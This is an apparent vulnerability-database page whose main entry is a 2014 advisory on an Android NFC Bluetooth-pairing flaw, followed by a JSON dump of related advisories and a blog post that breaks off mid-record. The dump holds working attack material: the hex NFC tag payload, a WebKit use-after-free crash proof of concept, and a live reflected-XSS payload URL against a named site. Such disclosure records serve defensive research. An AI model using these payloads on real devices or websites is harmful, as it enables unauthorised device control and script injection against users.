Search...

Android Bluetooth Pairing Packet Processing Vulnerability（by wangzq from NCNIPC）

2014-10-14T00:00:00

ID SECURITYVULNS:DOC:31206
Type securityvulns
Reporter Securityvulns
Modified 2014-10-14T00:00:00

Description

I. Summary Bluetooth Pairing Packet is written to a NFC tag, which can be touched by a NFC mobile phone for bluetooth pairing. A logic flaw has been found in some

versions of Andorid mobile phone. The flaw can cause NFC phones'bluetooth turned on, regardless of whether the pairing succeeds or not.

II. Description According to the NFC Bluetooth Simple Pairing Message Specification(NFC Forum), construct a message as follow. 91 02 0A 48 73 12 D1 02 04 61 63 01 01 30 00 5A 20 1C 01 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76 6E 64 2E 62 6C 75 65 74 6F 6F 74 68 2E 65 70 2E 6F 6F 62 30 1C 00 79 E9 72 CA 6B F0 08 09 41 6E 64 72 6F 69 64 04 0D 0C 02 40 05 03 1E 11 0B 11 Then write the message to NFC tag. Touch the NFC tag with a smart phone with Samsung GT-I9300(defaultAndroid 4.1.2) or MI3(MIUI 5.30), bluetooth connection

will be turned on automatically, regardless of whether the pairing succeeds or not.

III. Impact

This bug cause bluetooth connection turned on automatically

IV. Affected Samsung GT-I9300(defaultAndroid 4.1.2) or other versions of default systems. MIUI 4.1.17/5.30 and other versions we don't test.

V. Solution modify the source codes about Bluetooth pairing message parsing.

JSON Vulners Source

Initial Source

{"id": "SECURITYVULNS:DOC:31206", "bulletinFamily": "software", "title": "Android Bluetooth Pairing Packet Processing Vulnerability（by wangzq from NCNIPC）", "description": "\r\n\r\nI. Summary\r\nBluetooth Pairing Packet is written to a NFC tag, which can be touched by a NFC mobile phone for bluetooth pairing. A logic flaw has been found in some \r\n\r\nversions of Andorid mobile phone. The flaw can cause NFC phones'bluetooth turned on, regardless of whether the pairing succeeds or not.\r\n-----------------------------------------------------------------\r\nII. Description\r\nAccording to the NFC Bluetooth Simple Pairing Message Specification(NFC Forum), construct a message as follow.\r\n91 02 0A 48 73 12 D1 02 04 61 63 01 01 30 00 5A\r\n20 1C 01 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76\r\n6E 64 2E 62 6C 75 65 74 6F 6F 74 68 2E 65 70 2E\r\n6F 6F 62 30 1C 00 79 E9 72 CA 6B F0 08 09 41 6E\r\n64 72 6F 69 64 04 0D 0C 02 40 05 03 1E 11 0B 11\r\nThen write the message to NFC tag. Touch the NFC tag with a smart phone with Samsung GT-I9300(defaultAndroid 4.1.2) or MI3(MIUI 5.30), bluetooth connection \r\n\r\nwill be turned on automatically, regardless of whether the pairing succeeds or not.\r\n------------------------------------------------------------------\r\nIII. Impact\r\n\r\nThis bug cause bluetooth connection turned on automatically\r\n\r\n------------------------------------------------------------------\r\nIV. Affected\r\nSamsung GT-I9300(defaultAndroid 4.1.2) or other versions of default systems.\r\nMIUI 4.1.17/5.30 and other versions we don't test.\r\n------------------------------------------------------------------\r\nV. Solution\r\nmodify the source codes about Bluetooth pairing message parsing.\r\n\r\n", "published": "2014-10-14T00:00:00", "modified": "2014-10-14T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31206", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:54", "edition": 1, "viewCount": 1, "enchantments": {"score": {"value": 3.4, "vector": "NONE", "modified": "2018-08-31T11:10:54", "rev": 2}, "dependencies": {"references": [{"type": "openvas", "idList": ["OPENVAS:1361412562311220201494", "OPENVAS:1361412562311220201431", "OPENVAS:1361412562311220201489", "OPENVAS:1361412562311220201457", "OPENVAS:1361412562311220201477", "OPENVAS:1361412562311220201400", "OPENVAS:1361412562311220201491", "OPENVAS:1361412562311220201476", "OPENVAS:1361412562311220201430", "OPENVAS:1361412562311220201473"]}, {"type": "nessus", "idList": ["EULEROS_SA-2020-1498.NASL", "EULEROS_SA-2020-1457.NASL", "EULEROS_SA-2020-1496.NASL", "EULEROS_SA-2020-1477.NASL", "EULEROS_SA-2020-1491.NASL", "EULEROS_SA-2020-1494.NASL", "EULEROS_SA-2020-1483.NASL", "EULEROS_SA-2020-1489.NASL"]}], "modified": "2018-08-31T11:10:54", "rev": 2}, "vulnersScore": 3.4}, "affectedSoftware": []}

{"cve": [{"lastseen": "2020-10-03T12:01:15", "description": "Barracuda Web Application Firewall (WAF) 7.8.1.013 allows remote attackers to bypass authentication by leveraging a permanent authentication token obtained from a query string.", "edition": 6, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-12T01:15:00", "title": "CVE-2014-2595", "type": "cve", "cwe": ["CWE-613"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-2595"], "modified": "2020-02-20T15:55:00", "cpe": ["cpe:/a:barracuda:web_application_firewall:7.8.1.013"], "id": "CVE-2014-2595", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2595", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:barracuda:web_application_firewall:7.8.1.013:*:*:*:*:*:*:*"]}, {"lastseen": "2020-12-09T19:28:28", "description": "A symlink issue exists in Iceweasel-firegpg before 0.6 due to insecure tempfile handling.", "edition": 7, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-11-18T22:15:00", "title": "CVE-2008-7273", "type": "cve", "cwe": ["CWE-59"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2008-7273"], "modified": "2019-11-20T15:56:00", "cpe": [], "id": "CVE-2008-7273", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7273", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2020-12-09T19:28:28", "description": "FireGPG before 0.6 handle user\u2019s passphrase and decrypted cleartext insecurely by writing pre-encrypted cleartext and the user's passphrase to disk which may result in the compromise of secure communication or a users\u2019s private key.", "edition": 7, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2019-11-08T00:15:00", "title": "CVE-2008-7272", "type": "cve", "cwe": ["CWE-312"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2008-7272"], "modified": "2020-02-10T21:16:00", "cpe": [], "id": "CVE-2008-7272", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7272", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": []}, {"lastseen": "2020-12-09T20:03:10", "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "edition": 5, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 2.7}, "published": "2019-04-30T14:29:00", "title": "CVE-2015-9286", "type": "cve", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9286"], "modified": "2019-05-01T14:22:00", "cpe": [], "id": "CVE-2015-9286", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9286", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": []}], "malwarebytes": [{"lastseen": "2018-11-14T18:42:54", "bulletinFamily": "blog", "cvelist": [], "description": "_Emery was staring at her computer screen for almost an hour, eyes already lackluster as the full-page ad on Motiv looped once more. She was contemplating whether she'd give in and get her boyfriend Ben a new fitness tracker as a present for his upcoming marathon. The phone app he was currently using worked, but Ben never got used to wearing his iPhone on his arm. In fact, the weight of it distracted him._\n\n_Emery thought that something lightweight, sturdy, and inconspicuous was what he needs as a replacement. And the Motiv Ring\u2014in elegant slate gray, of course\u2014seemed to be the best option. But for $199, she immediately stepped back. Admittedly, the price tag tempted her to go back to cheaper options._\n\n_Reaching for her coffee mug, Emery was reminded of the weight of the Ela Bangle around her wrist. Ben had given it to her as a welcome-home present after her two-week medical mission. He had called it a smart locket, one you can\u2019t wear around your neck. He knew she got homesick easily, so Emery was ecstatic when Ben had shown her photos and audio messages near and dear to her all saved on its rounded-square stone._\n\n_At least that was what the brochure said. In reality, her personal files were stored in the cloud associated with the Ela._\n\n_Although Emery could only rave about her smart locket, she couldn't help but wonder if anyone else could see her files. She\u2019s as techie as the next nurse in her ward, but stories of hacking, stolen information, and locked out files were frequently discussed at the hospital, making her realize that owning technology from a nascent industry can put one in a precarious position._\n\n* * *\n\nEmery and her current situation may be fictitious, but her dilemma is real. Smart jewelry has real appeal, but it doesn't come without risks to security and privacy.\n\nWhatever enamored them, potential buyers would be wise to consider this one, significant detail before they make up their minds: data. Mainly, what happens with the data they freely allow their smart jewels to monitor, collect, analyze, and store. Could these be accessed, retrieved, transported, or used by anyone who has the skills? Could data leak on accident or because of simple manipulation of certain elements (such as incrementing the user ID)? These are some questions we need to continue asking ourselves in this [age of breaches](<https://blog.malwarebytes.com/101/2018/03/the-data-breach-epidemic-no-info-is-safe/>).\n\nNot only that, the data collected about a person\u2019s health and well-being is yet another trove that should be under the protection of a statute like HIPAA\u2014but isn\u2019t. It's no wonder that lawmakers and those working in the cybersecurity and privacy sectors have expressed concern regarding the evident lack of security of not just wearable technology, but the [Internet of Things](<https://blog.malwarebytes.com/101/2017/12/internet-things-iot-security-never/>) as a whole.\n\n### How smart jewelry works\n\nSmart jewelry, or wearable jewelry, is a relatively new form of [wearable technology (WT)](<https://www.techopedia.com/definition/31206/wearable-device>) capable of low-processing data. And like other WT, it\u2019s generally not a stand-alone device. It requires an app to be paired with your smart jewelry so it can do what it's designed to do. In a nutshell, this tandem is how smart jewelry\u2014and wearables as a whole\u2014works.\n\nWearable jewelry that acts as a fitness tracker usually follows the standard model below:\n\n * Tracking of data using sensors in the wearable, such as an accelerometer, gyroscope, tracker, and others.\n * Transmitting of data from the wearable to the smartphone via [Bluetooth Low Energy (BLE)](<https://internetofthingsagenda.techtarget.com/definition/Bluetooth-Low-Energy-Bluetooth-LE>) or [ant plus (ANT+)](<https://www.techopedia.com/definition/27783/ant>)\n * Aggregating, analyzing, processing, and comparing the data in the smartphone.\n * Syncing of data from the smartphone app to its cloud server via an Internet connection.\n * Presenting data to the user via the smartphone.\n\nIn-depth processing and data analysis also happen in the cloud. Manufacturers offer this additional service to users as an option. As you can tell, this is how service providers monetize the data.\n\nNowadays, smart jewelry is becoming more than just a pretty fitness tracker. Some already function as an extension of the smartphone, providing notifications on incoming calls and new text messages and emails. Others can be used for sleep or [sleep apnea monitoring](<https://www.wearable-technologies.com/2018/11/this-wearable-sleep-tracker-can-help-detect-your-sleep-apnea/>), voice recording, hands-free sharing and communication, unlocking doors, or paying for purchases. A small number of smart jewelry can even act as one\u2019s personal safety device, train or bus pass, bank card, or [smart door key](<https://blog.malwarebytes.com/security-world/2017/10/please-dont-buy-this-smart-locks/>).\n\nBut while the jewelry gets blingier and the processor\u2014the wearable jewelry\u2019s core computer\u2014gets smarter with time, one is likely to ask: Is smart jewelry getting more secure? Is it protecting my privacy?\n\nUnfortunately, the strong, resounding answer to both is \"no.\"\n\n### Security and privacy challenges faced by smart jewelry\n\nBecause of the processor's size\u2014a necessity to make wearables lightweight, relatively inexpensive, and fit for mass production\u2014manufacturers are already limited from adding any security measure into it. This is an inherent problem in a majority of wearable devices.\n\nIn fact, it is safe to say that some vulnerabilities or security shortcoming we find in wearable devices can also be found in smart jewelry, too.\n\nIn the research paper entitled, \u201c[Wearable Technology Devices Security and Privacy Vulnerability Analysis](<https://www.researchgate.net/publication/303870892_Wearable_Technology_Devices_Security_and_Privacy_Vulnerability_Analysis>),\u201d Ke Wan Ching and Manmeet Mahinderjit Singh, researchers at the Universiti Sains Malaysia (USM), have presented several weaknesses and limitations within wearable devices that we have grouped into main categories. These are:\n\n * _Little or lacking authentication._ A majority of wearables have no way of authenticating or verifying that the person accessing or using them are who they claim they are. These devices are then susceptible to data injection attack, [denial of service (DoS)](<https://searchsecurity.techtarget.com/definition/denial-of-service>) attacks, and battery drain hacks. For gadgets that do have an authentication scheme in place, usually, the system isn\u2019t secure enough. This could quickly be taken advantage of by [brute force attacks](<https://www.techopedia.com/definition/18091/brute-force-attack>).\n * _Leaky BLE._ Because of this, persons with ill intent can easily track users wearing smart jewelry. And if a location can be determined with ease, then privacy is compromised, too. Other Bluetooth attacks that can work against wearables are eavesdropping, surveillance, and [man-in-the-middle (MiTM)](<https://blog.malwarebytes.com/glossary/man-in-the-middle-mitm/>) attacks.\n * _Information leakage. _If one\u2019s location can be determined with pinpoint accuracy, it's possible that hackers can pick up [personally identifiable information (PII)](<https://blog.malwarebytes.com/glossary/pii/>) and other data just as easily. Information leakage also leads to other security attacks, such as [phishing](<https://blog.malwarebytes.com/glossary/phishing/>).\n * _Lack of encryption._ Some wearables are known to send and receive data to or from the app in plain text. It\u2019s highly likely that smart jewelry is doing this, too.\n * _Lack of or incomplete privacy policy._ Some smart jewelry manufacturers make clear what they do to information they collect from users visiting their website. Yet, they hardly mention what they do to the more personal data they receive from their wearables and app. Their privacy policy does not (or seldom) say what is being collected, when is data collected, what will the data be used for, or how long the data can be kept.\n * _Insecure session. _Users can access their smart jewelry via its app, and its app saves user accounts. Account-based management is at risk if its weakness is in the way it manages sessions. Attackers would be able to guess user accounts to hijack sessions or access data belonging to the user.\n\nIt\u2019s also important to note that, unlike smartphones and other mobile devices, smart jewelry owners have no way of tracking their wearable jewelry should they accidentally misplace or lose it.\n\n### How smart jewelry manufacturers are addressing challenges\n\nThe European Union\u2019s introduction of the [General Data Protection Regulation (GDPR)](<https://blog.malwarebytes.com/glossary/general-data-protection-regulation-gdpr/>) has created a tsunami effect on organizations across industries worldwide. Manufacturers of wearable devices are no exception. Owners of smartwatches, smart wristbands, and other wearable gadgets may already have noticed some tweaking to the privacy policies they agreed to\u2014and this is a good thing.\n\nWhen it comes to security and privacy, much to the surprise of many, they are not entirely absent from smart jewelry. Manufacturers recognize that wearables can be used to secure data and accounts. They also understand that their wearables need to be secured. And a small number of organizations are already taking steps.\n\nMotiv, the example we used in our introductory narrative, has already incorporated in their devices biometric and two-factor authentication schemes, which they recently revealed in [a blog post](<https://mymotiv.com/blog/motiv-ring-biometric-verification/>). The Motiv Ring now includes a feature called WalkID, a verification process that monitors a wearer\u2019s gait. It runs continuously in the background, which means WalkID regularly checks for the wearer\u2019s identity. The ring can also now serve as [an added layer of protection](<https://globenewswire.com/news-release/2018/10/23/1625490/0/en/Motiv-Introduces-a-New-Simple-Solution-to-Online-Security.html>) to online accounts that are linked to it. In the future, Motiv [has promised](<https://globenewswire.com/news-release/2018/10/23/1625490/0/en/Motiv-Introduces-a-New-Simple-Solution-to-Online-Security.html>) its users password-free logins, fingerprint scanning, and facial recognition.\n\n### Diamonds\u2014and data\u2014are forever\n\nIt was in January of this year that Ringly, a pioneer smart jewelry company, [bid farewell to the wearable tech industry](<https://ringly.com/blogs/news/why-is-everything-sold-out-on-ringly-com>) (probably for good) after only four years. Although it wasn't revealed why, one mustn\u2019t take this as a sign of a dwindling future ahead for wearable jewelry. On the contrary, many experts forecast an overwhelmingly positive outlook on wearable tech. However, the wearables industry must make a concerted effort to address the many weaknesses found in modern smart jewelry.\n\nSo, should you bite the bullet and splurge on some smart jewelry?\n\nThe answer still depends on what you need it for. And if you\u2019re seriously intent on getting one, remember there are security measures you can do to minimize those risks. Regularly updating the app and the firmware, taking advantage of additional authentication modes if available, using strong passwords, never sharing your PIN, and turning the Bluetooth off when not needed are just some suggestions.\n\nHow to choose from smart jewelry options plays a key role in safety, too. Make sure that you select a brand that takes security seriously and shows this by continuously improving on the flaws and privacy concerns we mentioned above. First-generation tech is always insecure. What consumers must look out for are future improvements, not just on the look and functionalities, but also how it protects itself and your data.\n\nLastly, it\u2019s okay to wait. Seriously. You don\u2019t have to have the latest smart ring, necklace, or bracelet if it doesn\u2019t take care of your data or leaves you open to hackers. It would be wise to settle for other alternatives that would address your needs, first and foremost, and make it coordinate with your attire second. After all, the smart jewelry industry is relatively young, so it still has a long way to go. And with every advancement, we can only hope that smart jewelry comes with beefier security measures and privacy-friendly policy implementations.\n\nAs for wearables in the business environment\u2014well, that\u2019s another story.\n\nThe post [My precious: security, privacy, and smart jewelry](<https://blog.malwarebytes.com/101/2018/11/my-precious-security-privacy-smart-jewelry/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "modified": "2018-11-14T17:27:23", "published": "2018-11-14T17:27:23", "id": "MALWAREBYTES:BBA0F9ADFF6490084EEA7D2EA354D4F7", "href": "https://blog.malwarebytes.com/101/2018/11/my-precious-security-privacy-smart-jewelry/", "type": "malwarebytes", "title": "My precious: security, privacy, and smart jewelry", "cvss": {"score": 0.0, "vector": "NONE"}}], "zdt": [{"lastseen": "2018-09-28T02:17:25", "description": "Exploit for multiple platform in category dos / poc", "edition": 1, "published": "2018-09-28T00:00:00", "title": "WebKit - WebCore::RenderMultiColumnSet::updateMinimumColumnHeight Use-After-Free Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-4323"], "modified": "2018-09-28T00:00:00", "id": "1337DAY-ID-31206", "href": "https://0day.today/exploit/description/31206", "sourceData": "\r\n \r\n<style id=\"s\">\r\n#htmlvar00002, #htmlvar00006 { column-span: all; }\r\n:root { 1px; position: fixed; -webkit-column-width: 1px; }\r\n.class2 { text-indent: -webkit-shape-margin: 0px; -webkit-writing-mode: vertical-rl; '\\.' }\r\ndefs~element, .class8 { display: grid; 1s; }\r\n</style>\r\n<script>\r\nfunction jsfuzzer() {\r\n/* newvar{htmlvar00078:HTMLHRElement} */ htmlvar00078 = document.createElement(\"hr\"); //HTMLHRElement\r\ntry { s.appendChild(htmlvar00078); } catch(e) { }\r\n}\r\n</script>\r\n<body onload=jsfuzzer()>\r\n<details style=\"mso-data-placement: same-cell; content: url(#svgvar00005); framemargin=\"1\">\r\n<summary id=\"htmlvar00002\" ref=\"author\">#>,TjEf3B0([{</summary>\r\n--r</details>\r\n<dt class=\"class8\" multiple=\"multiple\">\r\n<table class=\"class2\" checked=\"checked\">\r\n<caption icon=\":x4Tt3j/oh%0&!;/C|\">]C9C^]x:.</dt>\r\n \r\n\n\n# 0day.today [2018-09-28] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/31206"}], "openbugbounty": [{"lastseen": "2017-10-17T05:45:56", "bulletinFamily": "bugbounty", "cvelist": [], "description": "##### Vulnerable URL:\n \n \n http://m.mydaily.co.kr/new/section_main.php?cate=ent%27%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E\n \n\n##### Details:\n\nDescription| Value \n---|--- \nPatched:| No \nLatest check for patch:| 26.07.2017 \nVulnerability type:| XSS \nVulnerability status:| Publicly disclosed \nAlexa Rank| 31206 \nGoogle Pagerank| 0 \nVIP website status:| Yes \nCheck m.mydaily.co.kr SSL connection:| (Grade: F) \n \n##### Coordinated Disclosure Timeline:\n\nDescription| Value \n---|--- \nVulnerability submitted via Open Bug Bounty| 4 April, 2016 17:04 GMT \nGeneric security notifications sent to website owner| 4 April, 2016 17:06 GMT \nNotification sent to subscribers (without technical details)| 4 April, 2016 18:17 GMT \nVulnerability details disclosed by researcher| 27 June, 2016 17:13 GMT\n", "modified": "2016-06-27T17:13:00", "published": "2016-04-04T17:04:00", "href": "https://www.openbugbounty.org/reports/144780/", "id": "OBB:144780", "type": "openbugbounty", "title": "m.mydaily.co.kr XSS vulnerability ", "cvss": {"score": 0.0, "vector": "NONE"}}], "securityvulns": [{"lastseen": "2018-08-31T11:11:02", "bulletinFamily": "software", "cvelist": ["CVE-2015-4878", "CVE-2015-4877"], "description": "\r\n\r\n======================================================================\r\n\r\n Secunia Research (now part of Flexera Software) 26/10/2015\r\n\r\n Oracle Outside In Two Buffer Overflow Vulnerabilities\r\n\r\n======================================================================\r\nTable of Contents\r\n\r\nAffected Software....................................................1\r\nSeverity.............................................................2\r\nDescription of Vulnerabilities.......................................3\r\nSolution.............................................................4\r\nTime Table...........................................................5\r\nCredits..............................................................6\r\nReferences...........................................................7\r\nAbout Secunia........................................................8\r\nVerification.........................................................9\r\n\r\n======================================================================\r\n\r\n1) Affected Software\r\n\r\n* Oracle Outside In versions 8.5.0, 8.5.1, and 8.5.2.\r\n\r\n====================================================================== \r\n2) Severity\r\n\r\nRating: Moderately critical\r\nImpact: System Access\r\nWhere: From remote\r\n\r\n====================================================================== \r\n3) Description of Vulnerabilities\r\n\r\nSecunia Research has discovered two vulnerabilities in Oracle Outside\r\nIn Technology, which can be exploited by malicious people to cause a\r\nDoS (Denial of Service) and compromise an application using the SDK.\r\n\r\n1) An error in the vstga.dll when processing TGA files can be\r\nexploited to cause an out-of-bounds write memory access.\r\n\r\n2) An error in the libxwd2.dll when processing XWD files can be\r\nexploited to cause a stack-based buffer overflow.\r\n\r\nSuccessful exploitation of the vulnerabilities may allow execution of\r\narbitrary code.\r\n\r\n====================================================================== \r\n4) Solution\r\n\r\nApply update. Please see the Oracle Critical Patch Update Advisory\r\nfor October 2015 for details.\r\n\r\n====================================================================== \r\n5) Time Table\r\n\r\n14/07/2015 - Vendor notified of vulnerabilities.\r\n14/07/2015 - Vendor acknowledges report.\r\n16/07/2015 - Vendor supplied bug ticket ID.\r\n27/07/2015 - Vendor supplied information of fix in main codeline.\r\n24/09/2015 - Replied to vendor and asked about CVE references.\r\n25/09/2015 - Vendor replied that they check our request.\r\n27/09/2015 - Vendor assigned two CVE references.\r\n17/10/2015 - Vendor supplied 20/10/2015 as estimated fix date.\r\n20/10/2015 - Release of vendor patch.\r\n21/10/2015 - Public disclosure.\r\n26/10/2015 - Publication of research advisory.\r\n\r\n======================================================================\r\n\r\n6) Credits\r\n\r\nDiscovered by Behzad Najjarpour Jabbari, Secunia Research (now part\r\nof Flexera Software).\r\n\r\n======================================================================\r\n\r\n7) References\r\n\r\nThe Common Vulnerabilities and Exposures (CVE) project has assigned\r\nthe CVE-2015-4877 and CVE-2015-4878 identifiers for the\r\nvulnerabilities.\r\n\r\n======================================================================\r\n\r\n8) About Secunia (now part of Flexera Software)\r\n\r\nIn September 2015, Secunia has been acquired by Flexera Software:\r\n\r\nhttps://secunia.com/blog/435/\r\n\r\nSecunia offers vulnerability management solutions to corporate\r\ncustomers with verified and reliable vulnerability intelligence\r\nrelevant to their specific system configuration:\r\n\r\nhttp://secunia.com/advisories/business_solutions/\r\n\r\nSecunia also provides a publicly accessible and comprehensive advisory\r\ndatabase as a service to the security community and private\r\nindividuals, who are interested in or concerned about IT-security.\r\n\r\nhttp://secunia.com/advisories/\r\n\r\nSecunia believes that it is important to support the community and to\r\ndo active vulnerability research in order to aid improving the\r\nsecurity and reliability of software in general:\r\n\r\nhttp://secunia.com/secunia_research/\r\n\r\nSecunia regularly hires new skilled team members. Check the URL below\r\nto see currently vacant positions:\r\n\r\nhttp://secunia.com/corporate/jobs/\r\n\r\nSecunia offers a FREE mailing list called Secunia Security Advisories:\r\n\r\nhttp://secunia.com/advisories/mailing_lists/\r\n\r\n======================================================================\r\n\r\n9) Verification \r\n\r\nPlease verify this advisory by visiting the Secunia website:\r\nhttp://secunia.com/secunia_research/2015-04/\r\n\r\nComplete list of vulnerability reports published by Secunia Research:\r\nhttp://secunia.com/secunia_research/\r\n\r\n======================================================================\r\n\r\n", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32659", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32659", "title": "Secunia Research: Oracle Outside In Two Buffer Overflow Vulnerabilities", "type": "securityvulns", "cvss": {"score": 1.5, "vector": "AV:LOCAL/AC:MEDIUM/Au:SINGLE_INSTANCE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:11:02", "bulletinFamily": "software", "cvelist": ["CVE-2015-1341"], "description": "\r\n\r\n==========================================================================\r\nUbuntu Security Notice USN-2782-1\r\nOctober 27, 2015\r\n\r\napport vulnerability\r\n==========================================================================\r\n\r\nA security issue affects these releases of Ubuntu and its derivatives:\r\n\r\n- Ubuntu 15.10\r\n- Ubuntu 15.04\r\n- Ubuntu 14.04 LTS\r\n- Ubuntu 12.04 LTS\r\n\r\nSummary:\r\n\r\nApport could be made to run programs as an administrator.\r\n\r\nSoftware Description:\r\n- apport: automatically generate crash reports for debugging\r\n\r\nDetails:\r\n\r\nGabriel Campana discovered that Apport incorrectly handled Python module\r\nimports. A local attacker could use this issue to elevate privileges.\r\n\r\nUpdate instructions:\r\n\r\nThe problem can be corrected by updating your system to the following\r\npackage versions:\r\n\r\nUbuntu 15.10:\r\n apport 2.19.1-0ubuntu4\r\n\r\nUbuntu 15.04:\r\n apport 2.17.2-0ubuntu1.7\r\n\r\nUbuntu 14.04 LTS:\r\n apport 2.14.1-0ubuntu3.18\r\n\r\nUbuntu 12.04 LTS:\r\n apport 2.0.1-0ubuntu17.13\r\n\r\nIn general, a standard system update will make all the necessary changes.\r\n\r\nReferences:\r\n http://www.ubuntu.com/usn/usn-2782-1\r\n CVE-2015-1341\r\n\r\nPackage Information:\r\n https://launchpad.net/ubuntu/+source/apport/2.19.1-0ubuntu4\r\n https://launchpad.net/ubuntu/+source/apport/2.17.2-0ubuntu1.7\r\n https://launchpad.net/ubuntu/+source/apport/2.14.1-0ubuntu3.18\r\n https://launchpad.net/ubuntu/+source/apport/2.0.1-0ubuntu17.13\r\n\r\n\r\n\r\n\r\n-- \r\nubuntu-security-announce mailing list\r\nubuntu-security-announce@lists.ubuntu.com\r\nModify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-security-announce\r\n\r\n", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32660", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32660", "title": "[USN-2782-1] Apport vulnerability", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-31T11:10:03", "bulletinFamily": "software", "cvelist": ["CVE-2015-4894", 